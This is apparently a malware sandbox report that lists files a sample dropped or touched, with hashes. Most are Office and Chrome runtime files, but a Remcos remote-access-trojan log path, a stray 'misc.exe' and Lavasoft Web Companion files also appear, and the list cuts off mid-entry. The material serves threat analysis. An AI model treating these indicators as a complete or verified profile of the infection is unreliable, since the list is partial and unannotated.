80b4f9f36cc7027b2cdd688b91fb476e73464a92b86157fcd01691d76ad4f09c9e1f8093b97058969c94748accc421a2dc2e022112c58cd26249f1e10d72d16c

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\msvcr120.dll
Filesize
940KB

MD5
dd07368cb1cbb12bcb3a0b567417bf1f

SHA1
242021f4ab1021bc789f32c62806afcaaff77bfe

SHA256
45b2260c114de5755bfb9ab633e86fb09e798400b0920f9dbeefe2477b81b962

SHA512
00c2bb1aeb790dfe6a278ee48eacd7aa2758a6b4ac86079f3fd3d575e0685001cc1c7848faed3459e274bc44d4de047c5cfde59807498db6a070ff2b160ca11c

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\vcruntime140.dll
Filesize
83KB

MD5
192d32156a61ae6484a9730194674c84

SHA1
6d695c0ab7f9366d138dd548c0ca07b364354eab

SHA256
b6fee710f7b4b31b2c8226e77435c2a795ddd71b187fa72d61db9b3167bc73ff

SHA512
3e0a12097b23da9a04b59dca39fc6180308dd9208286bb302c9740643a94a8f3c753aef3c958c0b891ab683c713b1639ae6d23170d62492bc01606acf6bf000c

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\msjet.xsl
Filesize
29KB

MD5
19287bffa03c236ddec43260f3834180

SHA1
980d47195489d2bc22cdf0fc9560e7c94b7c1f28

SHA256
eac29487d91bb3f42e5762f7e343a77ac5b6cd7b1465a1beb9adff1ce66fc458

SHA512
0cfc3aba3eb7010382516ebd7fa4dbcfea070bfbc0d78e96c4df92ea6a48199bc9b0859b5979a09db0df575165a7e18ec8ef92793145a890adb78d42331c2d83

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\sql2000.xsl
Filesize
34KB

MD5
dddb0bcbefb6bec72c7bcb087257ed02

SHA1
e19fc7bea7bacb44d5d5d4e62291e8920c1437bd

SHA256
c6926d880cf979400013e471c0992018df661c3eb258808a98d8bd2960565eb3

SHA512
b91eb477e147b2aa024b3f786385f414f4cd58827cf2d86600bd0037803272ea7b1d4be96f55905aa97d316d1932f614d27a7d1989f5f906b871d835de0aaf18

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\sql70.xsl
Filesize
32KB

MD5
0aa40855b80ddb67ff2c31be5e8d7b9e

SHA1
9becafa314f2ccf37ea1ee6c7675901b3231adcd

SHA256
8f06f0c5ea4ae62027dd2b1d7f7f69e20b6f4ef1a89d4011004245af32315d7b

SHA512
5d0388f178087b6b7184593b4e7e58af3d0353baa9b746108edf6a362f884ba20cbe114c15e259258f9635ae964d62d862e753d5168bdb47763edc2a0980dea3

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\Informix.xsl
Filesize
31KB

MD5
b540013230b6ec942adbccfba4316654

SHA1
64d90396054406ba2a9d815e1bf67cbbd166e164

SHA256
9a0dd675f4fcd8dfe5c3cc5a76fd5ac037d1b682c7ad90537cdb67b63a8de872

SHA512
d031a0ac230c35a47965d3d8f40259ae01a50a8e98d648d7b68a5a8ff4d53746bbf1e03181a289ab6f988919b423b6396c2e1a9e4e7ea16ee5922d9e4ddd4ec9

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\Sybase.xsl
Filesize
30KB

MD5
716561a4e919a46b5af3703b734551f8

SHA1
78f688f549217a6eb7569bcb8bd5ed90e42d6187

SHA256
33c4fc360d0f78edf27811c3dc6ba722d3bcf3c066b05fa3728bcb236df0aaa6

SHA512
3df05d13f0a67f699a407d59aad777d992f1bb4d9c5adc400c15aeade8221f1a247135fd1ef656b0f90048e7fe1c5ea93b085d285bae9555676e186538edec43

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\hive.xsl
Filesize
79KB

MD5
7c0fb1449e27ffff6b7749aea454598e

SHA1
8e8ed0094bc9ee99a97533e8587231816f08d5db

SHA256
978ee95f0b2700af063cae0e17fcd277e91b0c13744477f89d1f35e8525dd3e5

SHA512
1535cc19ab51e1fa17c0823d174bd98134cba749873db8f53ab3d448b1a75e4814d2df3356434d16b2b06a998c3e274b3fe7cbb29313ebb6fb75b99cd9b06619

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-core-file-l1-2-0.dll
Filesize
18KB

MD5
c00d11e771ad21143d8bd67ed9d7d389

SHA1
54dc10e514a27831efe27541326fe23f55d17265

SHA256
3f2a26e84732ed92c8eb9b52a723e386bca95c96b6b643f263ea1f12c5a82534

SHA512
c01f0b86888abeac9dc65f7a9aa113f589d62b4eeae9b0d361cf425b99edc383484ad4e97cad11d15f339eee913dad4d59902abeb391bd51ea4117d20601097e

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-core-file-l2-1-0.dll
Filesize
18KB

MD5
7d7d11ef174404c7319d96388a44f48a

SHA1
bee4af244cf7e712abc07e693948a7b4b6d9b028

SHA256
ee3d444af6509ca93c4db388fe0df1f0a518da14b4004096715d1b3080779865

SHA512
75e9ce69c682357c98b7a492d83ff1b014db9e97f63b7eecf39a2d42594478a20ba3fb77c9a80fa3e89b0395949c48a6c0458a250d04e2197d863f8268f94e6e

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-core-localization-l1-2-0.dll
Filesize
20KB

MD5
49116ec554fc28c4a338d70ff28492df

SHA1
33b4315c49ed026d1dc30f6a9efc4324124b861d

SHA256
100d6856fd0080f78149396fe5cab73ed24024633b729ad8a444029c01f6d1cb

SHA512
480efed24e440b0e2c5c6395462d3076d6b8ebc224d294a29e584f0858e542522a19aebb49045d669f0ea36873133195ab79aca6163197b4e21d4d4b75491e76

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-core-processthreads-l1-1-1.dll
Filesize
18KB

MD5
9cf3d671697c374946556a4942f317da

SHA1
afdcd088f098294a9dfa4228219238a1d332c376

SHA256
4347fd44d0c5765006dcf3af5bdb36495509dab753c2ca38cc5f624d13dc3735

SHA512
d7c7484943a062909c9736f3f39cb86d00355129833353060270f7d38068fe982323a23f73737fb8a97820430d13f71188e55e1b55c6b9c2cee4f6b40a65d8e9

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-core-synch-l1-2-0.dll
Filesize
18KB

MD5
b5cb3a66406fc26c27a971bb362b4c6e

SHA1
455a2d1553f25044388661018f442eabc4ed28da

SHA256
ff8b814116fbf6ed1af2f2d98ed55782e67a8684d65f7521f6f6b4cc1f346287

SHA512
e3723892db36e34910ddc3b4de22aac5259a9500866aadbabe8659b443ae2d452ebf89d7a6fdceeb1cc655491c689b20d94ec30d83e32e555ef359b5d7544668

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-core-timezone-l1-1-0.dll
Filesize
18KB

MD5
2b649e52d391e678c968093a7fbecb22

SHA1
c40d644d2de9260f9a43368a18274964824e6968

SHA256
297a43c9003a1600f58c67d4fd38df037a1152eee3b20f3d1f52e3179978b2ce

SHA512
fc9ad207e3b73db693bd8abad906f3c251257062c5a51289d8fcea8e50718b45c9faaa1bf008fb48ea634d8f27689117b820e417c6f55ae79b1884a947a9b855

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-core-xstate-l2-1-0.dll
Filesize
11KB

MD5
0af66efc639df374bb990acafb4d3748

SHA1
2178bb4ec2c346ffe7978f12e4ea650b9063f8fb

SHA256
721e16c45a492bd33c6343c2de72d3c2207458052685c580f40d125156a029ff

SHA512
e5095ad3f6ad80f0b6bbb99569db80a172f87cc991bc92b7bcb19ae5c807e3435ab50c2e9b60da81996138c0ab7aad3b63e8db056be2a72fe9ff0208cbfc96c1

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-conio-l1-1-0.dll
Filesize
19KB

MD5
892ec514c7386ec7361fd466c7fea72c

SHA1
4b893eb86a8548afce7ebf058187287329b7401e

SHA256
142704f3fa4ce35b896006a395d0e8b8758fd80c33207dee4ab6a823baf1c7e2

SHA512
9f6480fedbdfb515ec1a4ba9f2cc141111c222cac50c4db44673696a6aef5e5beb8ac149004cbfc3b795420535655e8b74beb1b03cda1e0f987c928f4aaa5a2d

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-convert-l1-1-0.dll
Filesize
22KB

MD5
f4a3dda8f99062a1871853bec3290463

SHA1
bd9c6870d8105b38320eafaad0f28af0be9714a4

SHA256
43ff70b1c2c0b48d3cc3a8762c6744fa05fb188593c2fbe71833219bff9f864f

SHA512
f0ed7ec15630edbe36ab6051974f4c7b1c292e94a64a24e6615dc299affeba6f2fc1120720da09955e65c5dbb0f618ed8a63afdaab4ca7d80be850bc8acd37e0

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-environment-l1-1-0.dll
Filesize
18KB

MD5
1151f799ea634d95b857f1f7893f760a

SHA1
fb991c3c4e8e08bf8103d0896448a30af197a21f

SHA256
90973dd15625efa9f1d85b1e63c2479eac9b88c75d36a381f6894994be65fd63

SHA512
d352e8a055f562ca4e1ebe0d7e2b4c23a2f1cf3b9a0ec202f2fce1a9c3e111c8b540580647da716b8596aa5261f0287249b42c6a324037b33959c8d0d9e0ef78

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-filesystem-l1-1-0.dll
Filesize
20KB

MD5
98854403b387f2f0225b5bec1f78e4bb

SHA1
4cfdd1832146b64b5fe93f44754cf912218988ac

SHA256
b30dc27be456c9857d56917861d05a5c9dc0421e18f2e808dde97023c0a33b7f

SHA512
35f558b4e0b995ffa1517e235b651f14125b525024a733242d58db8504e4750998ac38432917b613dcc92b6cae704c846c3176b1ca25ec35d2a900a430ba51ad

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-heap-l1-1-0.dll
Filesize
19KB

MD5
0096c71b6577b4b8085f31ef18763344

SHA1
5775ef83146b8889ea1e5d2ab32c4c508892b588

SHA256
24cd5b9f0905e0e74ed702524ef982b3a242dfdab96831081ddb609daaa9ebef

SHA512
b4a6c76be77cab5a163e7c2b96f54f5b3d6d48fdf4e3d82e47d65de364301eebf63087a791b52cfa039cae2e64ba9f559449aedaacf38ef3c119b5963ae2fe86

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-locale-l1-1-0.dll
Filesize
18KB

MD5
cceb942b30269a6c9f77d3eff7d2f7e1

SHA1
e5d5766f23b0afc594274b5fa1cc10b894e9a072

SHA256
3b8eb4ce388976f44a5eccabb146db85766636529f0773ddfaa945a8b6169922

SHA512
56f529d518134516b9231e925b41a23818eba18b0e79e9a91dce99b78bb745c29a4e24569a5f280780007d52e77423412ad75560f8ac349f4faa95bea2191ca6

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-math-l1-1-0.dll
Filesize
28KB

MD5
78505f5fa92dd0fcabcf9fb1947094e9

SHA1
69932ee96af8f7daf34db335895049d725aa8bde

SHA256
b0cf35cdbd34cf0e102102627fc4215a6435c971f1aae18cbe5527f2dc192561

SHA512
c58964fa37dc7d3bcf74bb3288ca5be7f57a00ac55b933fa93b13fba10968866882b4d2ba95bf8b5d1f9ab2ac65d7f16eb027717bca5c6b0ddc8b82a9a75cc95

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-multibyte-l1-1-0.dll
Filesize
26KB

MD5
fefa01cbf64465aa4874dfb6d0964d5e

SHA1
ca717b193942c70c5f1e9ea5b991c5cc14088b26

SHA256
5ef384b30ed0f0a8d00b0d7a41e74271f480cc140862ab13d83238b35ff67e76

SHA512
562a8bbccca3cb31db2f94ae1543f8e4626b8ba85e05ea84be241c2fc2d2e8ccfab208618499773689e52e5edbf749ec394c83fcd541586970ae362a019ed754

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-private-l1-1-0.dll
Filesize
71KB

MD5
101eda2dcd73a9c38c9c8be63e4d8cb5

SHA1
ef6cbb3498bb637f5cb2acc922da4e61fde5e1bd

SHA256
213b27a9905ec35c068fa1e4761a3717f2e34cc284ebb011ac39e21af0af37af

SHA512
080e1218b1da6c734db51cab4794cd6017e2a1458cf66eec5d852053d2172f6850df24067942b53ecf4e3edb736cd68dcdd04a4774249b48147996118585d8ed

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-process-l1-1-0.dll
Filesize
19KB

MD5
1a3cfa719ce8e07c0c2032cc8a9b3c8c

SHA1
e807c1ac46864cd28182890ab2d701402ffb74c4

SHA256
3187b76b7315e93c0aeec039cae83d51713946b7e16aa4c65531e2c87ab9770b

SHA512
dcc6779711b34352c7cf6e8e588f264862346e4f12958db65ff8baa898606609b6ab42b983c830075d6a15590d33c6c6e4d96a23792323fd2d734b0ffd45772f

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-runtime-l1-1-0.dll
Filesize
22KB

MD5
f2d391bcfb0ab7a47a62c6a715ec8b85

SHA1
7f3f0af6b8251b66cafbee953f20bcd4e0ad02c7

SHA256
e17676ae855377a2139e2f328155d572994c5a90e090bc7444e8c8ae56011aac

SHA512
851e071ae266ecbbd08fa88706e9f1fce294c0bc37299a23795a7fbd684c96d5190afa2089777b18da045ce099a9e3ae4d6e64cf7f2b70db18b7bcdd9a1299d8

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-stdio-l1-1-0.dll
Filesize
24KB

MD5
c70b9a1b3acded375c186644e9bcb177

SHA1
2257dfba0e4bd7ecdb606f6102f021a8d7be8059

SHA256
23e32fe38ed2bc916ecd28956b44358153729c6981610e6132a803cc1ba19110

SHA512
22bad2b52028deef769ff21c4bc7155a03a75c296aae6ecc015c492b756a4fc2fcc564dfbcbe5b56a889e96508536969cd2a3a41c5af63a263ab9edc0458f063

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-string-l1-1-0.dll
Filesize
24KB

MD5
00c7a6b5f4ee902cad229f2cffb33aa3

SHA1
b1f9c04edc410596b7fbd4135b998752d176510e

SHA256
ed8177049b04389f4b3c8709c01e06981c618a55e25ea7a95ae6f1001bf83a5f

SHA512
b4edd2507dceeef9973548ebc6807a06c05d7b15b59b8d1dfbaefbea4f8c29c85f56686afeb5e0bc156439df1ed8ecbcee4dbfeeb1787e9321ac11c748c3a2d7

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-time-l1-1-0.dll
Filesize
20KB

MD5
082bcdf9b3db788205d0c225dc90c2a6

SHA1
6d43efad34fceee07008871b65371844c0c27dc6

SHA256
b674bda0f8499169d4496f24eca4a08d454e144cb2b2fc23327c079647140ace

SHA512
79ea545a504289bceaf1780f5301b19cf8774fa223403c6f02451aeb6b0136cf65c7bae5369f2590c23123a759b77e224095dcfc1614607b49f4ac578c77e72b

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-utility-l1-1-0.dll
Filesize
18KB

MD5
c447a7ecb57282b5cdbf993e1048bdc7

SHA1
ed10ffd1002b83d9f01da8f05a4032f289060542

SHA256
1812e93948d4aad666dd38297ca430229050b42d81f9a966e210a795d0b361fb

SHA512
fa91620cd62a478ec90204680f2ffa9a17b748ec859b8c8da12bcf39348cbd9dd902134627052dcbc89fe9834b60cd3c081b0e0b752c4fc9e7943f9f7c4f026a

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\concrt140.dll
Filesize
244KB

MD5
408e54f91e41231b6403a1e3a552331d

SHA1
2ab2e8440b76b9bb295a449a425d99388955194b

SHA256
a08f5c274d1927c21070dd9aa1dbab49793f8a971a57a72d2643c2f6208ea041

SHA512
962b5ae214e6e9a16edacbacdce172d79aa9f3a5ef08182ed4bcb9da84552861b28d65c451f626c6c9b7195b42cb0737db6785747fc991bb36832dfefad01e19

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\mfc140u.dll
Filesize
4.8MB

MD5
2f6b258ac7ac9fcca7da5c4fb5e21870

SHA1
4bad413e8cf9f2b4f3fb655feeb9f3dbf924ab0a

SHA256
ca6a2b0a4d87b36e2f3428375df05f8d86fef0748316467516e598eff68a5ab3

SHA512
6a63989c13845cfbeff26aee176f3ead74225ba255b84b6c8031f685663a53b2e1ad80ef0b90820bbbc6e226f7710039a8942277efd8f5c6f2b5214b5a20c658

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\msvcp120.dll
Filesize
444KB

MD5
283beca1a60b99b12fd33f903cbf7ce5

SHA1
93f992461394a14ad03da024ae055b538e613fa3

SHA256
0b636eef9074f92a2234747d14631ccb336a5371835fc99695c6c581483412b7

SHA512
6b47b38c1e633e63242c921e560ab92a4ff104f14a894b92a0d0d8e9dbcc0e1c04e0873430d17340db9fe9e97a6d930ef0e99e473330176b7b5af1d588d57ac7

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\msvcp140.dll
Filesize
439KB

MD5
0e95f0d7b778fd2a7bc2c1a551011ee1

SHA1
384e0ddf2302049a61cfedfe8a65e8bdd386774d

SHA256
3b88adef7c745c8168ae813d0c86f074689325776048606541e0a4a1e7a1246e

SHA512
d035c1af56255605bd385714e5e49e32d50c40c5c1b3a2581ed670b94b72e9aff79805c3ed59d33c6d3b072c1327162ddcc169fde59a51942db7319b5ad30cc9

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\msvcr120.dll
Filesize
946KB

MD5
e37ed55dd7a372d661b820d28dfb3b01

SHA1
e8e041b41e55e4cbbc9ead3d6eb160ba7cb22305

SHA256
93034a275596fceefccea78bc85891b7a3dc62eb029361b64e66200f0f93eb89

SHA512
f73e39526d91b0a8dc9321ca7acb8d49448bc6668f4dc9b9a72eab07c0f7fcfbd70753cc5f30032bb3d7f4c1cc85697feac53413c4995f8a5b7af69e1f38357e

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\ucrtbase.dll
Filesize
879KB

MD5
960830764955a524000b562a983795b9

SHA1
aba5371bb0da1006aeba54d13df9cac185aea99f

SHA256
ab6c1b9336b365744bcd1f07417b57294f02bc8e61f171663271914c768e0ce2

SHA512
f06efd7e24457b4da0719bc7757b89d2ca1896a8a012a59cacf75c7905725816aaf2b0a81394de996d8174868f3499fa50c8e198cef4c410931c774b6e583496

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\vccorlib140.dll
Filesize
263KB

MD5
dc741f4590a9805d2591c8fafc10ec6a

SHA1
0d628d3cebb1904be0d606c9f52e50b7de75122a

SHA256
81740f4eb52b052fc3c034d2b72ce6e85d76883f7c152cf5605c84d31ea2d574

SHA512
d3b39000ccfa88e2094e105c57b02d13ae3b5be36089a22404711fc7579dc9d44ccaa876f4ec100bc6fc0d5fa711a163545ba125db30d81530972f8e999ad20c

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\vcruntime140.dll
Filesize
78KB

MD5
15f5e21897c247bc49a830b7b899ff60

SHA1
5659b102d666ba1afc02c9a693c9d06430f577e5

SHA256
4a5b69deb028287006c49f81b5acf1146a940da2def3e355c4acd27fb08a5408

SHA512
589a61896c93e60c0e5a3c75b5764947c0df467f5c1e0bbf0798c20208c266ed232291b0eb07f2931de58ed97adda7c0f8b390c971cfb343878c7b8d5f0f85be

Download Submit
C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-1000-0000000FF1CE}\misc.exe
Filesize
1014KB

MD5
ab26e895219e02f6752667b949056691

SHA1
70ec62f724e09fa7383ba05142ad597534024f74

SHA256
f8761aceec4261bcd3060aa7ee9ed86e809f6c2b3d07327b62a83a76debb64e8

SHA512
852917b67da2b62f251e520f567e5d6d2cc0f9896bb286c22271347e7687536927e772a7e10052d4e92ef2277cdce43ff27334a84504fd869a894fe155b1c676

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping1340_657847697\manifest.fingerprint
Filesize
66B

MD5
5bbd09242392aacbb5fac763f9e3bd4e

SHA1
14bb7b23b459ce30193742ed1901a17b4dcf9645

SHA256
22b55f5d9b1bafb80e00c1304cf5e0d6057a304a2e8757b4f021b416f4397297

SHA512
541e4c7998e91a5113f627c2c44e32b54878fe225b3b9476572f025f51f2b4ec4a44b102498adcc22b8fe388970645bacfafb6e7fc8a216df4d7bbfc8b0ff670

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping1340_657847697\manifest.json
Filesize
76B

MD5
ba25fcf816a017558d3434583e9746b8

SHA1
be05c87f7adf6b21273a4e94b3592618b6a4a624

SHA256
0d664bc422a696452111b9a48e7da9043c03786c8d5401282cff9d77bcc34b11

SHA512
3763bd77675221e323faa5502023dc677c08911a673db038e4108a2d4d71b1a6c0727a65128898bb5dfab275e399f4b7ed19ca2194a8a286e8f9171b3536546f

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_1344807201\manifest.json
Filesize
110B

MD5
81238dbc1ea5db88e4d75a48b55a1d88

SHA1
06ddc4c62ba02a727836423ee6d5f8131be568ac

SHA256
c925b7eaccfbe1a2204dbf40be9054dcd12c299196a0c01b9cff4c2f29b90fbf

SHA512
e8a93129610fcfabf5b6e40778d501db346b6b257d903b3c7ec78bbf29128412bb6630e4da99aab503e376c7a9b1e4812724e2dc2bd3c2c464abecf6aae9a1b8

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_551490107\hyph-as.hyb
Filesize
703B

MD5
8961fdd3db036dd43002659a4e4a7365

SHA1
7b2fa321d50d5417e6c8d48145e86d15b7ff8321

SHA256
c2784e33158a807135850f7125a7eaabe472b3cfc7afb82c74f02da69ea250fe

SHA512
531ecec11d296a1ab3faeb2c7ac619da9d80c1054a2ccee8a5a0cd996346fea2a2fee159ac5a8d79b46a764a2aa8e542d6a79d86b3d7dda461e41b19c9bebe92

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_551490107\hyph-hi.hyb
Filesize
687B

MD5
0807cf29fc4c5d7d87c1689eb2e0baaa

SHA1
d0914fb069469d47a36d339ca70164253fccf022

SHA256
f4df224d459fd111698dd5a13613c5bbf0ed11f04278d60230d028010eac0c42

SHA512
5324fd47c94f5804bfa1aa6df952949915896a3fc77dccaed0eeffeafe995ce087faef035aecea6b4c864a16ad32de00055f55260af974f2c41afff14dce00f3

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_551490107\hyph-nb.hyb
Filesize
141KB

MD5
677edd1a17d50f0bd11783f58725d0e7

SHA1
98fedc5862c78f3b03daed1ff9efbe5e31c205ee

SHA256
c2771fbb1bfff7db5e267dc7a4505a9675c6b98cfe7a8f7ae5686d7a5a2b3dd0

SHA512
c368f6687fa8a2ef110fcb2b65df13f6a67feac7106014bd9ea9315f16e4d7f5cbc8b4a67ba2169c6909d49642d88ae2a0a9cd3f1eb889af326f29b379cfd3ff

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_551490107\manifest.json
Filesize
179B

MD5
273755bb7d5cc315c91f47cab6d88db9

SHA1
c933c95cc07b91294c65016d76b5fa0fa25b323b

SHA256
0e22719a850c49b3fba3f23f69c8ff785ce3dee233030ed1ad6e6563c75a9902

SHA512
0e375846a5b10cc29b7846b20a5a9193ea55ff802f668336519ff275fb3d179d8d6654fe1d410764992b85a309a3e001cede2f4acdec697957eb71bdeb234bd8

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_795114131\Microsoft.CognitiveServices.Speech.core.dll
Filesize
2.6MB

MD5
0ee2b50c85a110689352fccfa77b5b18

SHA1
d9ecc4b12d2d50e3cbce40e75edad804c9988b25

SHA256
62a13d8459e0992c311dc3551bf3c2d1ce167ea7fa40f0ec62193f3bd760b36e

SHA512
a4f94a05a69b5ae3a0ecf8bdb7592f698d0df81e2f1fae679f38890ad04a2384883837bc792c73848955ff4af7afed49d38839f7ab174454e61919ed78655bff

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_812273252\manifest.fingerprint
Filesize
66B

MD5
7ce55ac0d7683657fd051e573ad06e30

SHA1
3bc51fbc6155c4e9d1439587e1c739995054cc52

SHA256
138e2b36e4c8bec8b00180558843355037d7de99c389f46e6183c4fc5a34c790

SHA512
f269c5c2ee53ed836bfd1b928b40e1ddb2aaea00e5585c85fecfcb1add71130d4ecfe91d2f2527934ac472c8b432d3475ca02b8f808e7e6014cd49155529d9a2

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_812273252\manifest.json
Filesize
43B

MD5
55cf847309615667a4165f3796268958

SHA1
097d7d123cb0658c6de187e42c653ad7d5bbf527

SHA256
54f5c87c918f69861d93ed21544aac7d38645d10a890fc5b903730eb16d9a877

SHA512
53c71b860711561015c09c5000804f3713651ba2db57ccf434aebee07c56e5a162bdf317ce8de55926e34899812b42c994c3ce50870487bfa1803033db9452b7

Download Submit
C:\Program Files\chrome_ComponentUnpacker_BeginUnzipping5608_812464514\manifest.json
Filesize
134B

MD5
58d3ca1189df439d0538a75912496bcf

SHA1
99af5b6a006a6929cc08744d1b54e3623fec2f36

SHA256
a946db31a6a985bdb64ea9f403294b479571ca3c22215742bdc26ea1cf123437

SHA512
afd7f140e89472d4827156ec1c48da488b0d06daaa737351c7bec6bc12edfc4443460c4ac169287350934ca66fb2f883347ed8084c62caf9f883a736243194a2

Download Submit
C:\ProgramData\Lavasoft\Web Companion\Logs\Webcompanion\webcompanion.log
Filesize
5KB

MD5
fb65a8e00f8a721bee653335c894bcef

SHA1
63b0f7b3a6b447a3ec224092e83ccc5b13b99e50

SHA256
9a8558b783242e87e4add0900dfa7355ec17923a2b1c6c4acf432e96df574b9b

SHA512
c494c6a35c43f9c3a34ad035167b4f8f36b51d9787e608dc28a20f8a94fce7170b21dd357818eec3fcdaab6bd48e74e9a3db86e916d6f0c7e0532987d48f56fb

Download Submit
C:\ProgramData\Lavasoft\Web Companion\Options\ActiveFeatures.zip
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\ProgramData\Lavasoft\Web Companion\Options\ServicePartnerInfo.txt
Filesize
175B

MD5
e36003cc52f2aed1fb9ebf85f93c3398

SHA1
c720433411a65de36c595b1da4a44ef9cc0ed881

SHA256
932f03515e0867b16fe3ca8a1da5009e56bf3e6361e46a17d1eeaa5f691f198a

SHA512
0589561e6d200dea1c7b42ff4aab10de6b1de502ffa1bc9cfe120243f9d5c38597bf2a0292e7c670685786bded6cfaafca343e63ddbc8476d0569a8bfeb47977

Download Submit
C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log
Filesize
115KB

MD5
351c6ea92bbf051b29d352e46fc72bbc

SHA1
39f5e132390ee3029a8824b2acea3b0f45de9136

SHA256
8aae42524ecae3649c4dbb3def6150e7bf816be4ad7b4d7e4a067e2d0f23d699

SHA512
c152598905cae811558875bee6ac0d053e20163d41d3d631c19307e232ce8f107416a5f28ff8108a2bb72414a8f034211131bde0bac73f88e35bd9e52cd471f6

Download Submit
C:\ProgramData\remcos\logs.dat
Filesize
494B

MD5
aede2534beb688e73c11171e9322090e

SHA1
fe7c4618c7ce88e4537b5365ae935ee11a115661

SHA256
c9f27a29a59257b98bee2537c4787ea0f2b0d3a78024cbd9b3acc287b007a84d

SHA512
aa824aaf20754dd93973545a2221194c8aa6558c81645aee56575e2ceb111ca3f49cc4b86b4e2501b1712ddd2d51564d9e726d838ba3438e30d35535337f98ca

Download Submit
C:\ProgramData\remcos\logs.dat
Filesize
558B

MD5
a3336be6ec8fcaa09cfdab7bb98a3a56

SHA1
28d0d974c9ab422460d1cad42e9d791f6b2b5b6d

SHA256
a4b117d6adfebaac6c9fc72cd43e4631a62e1cdb67ea0df5d42fd1c4f8f77f89

SHA512
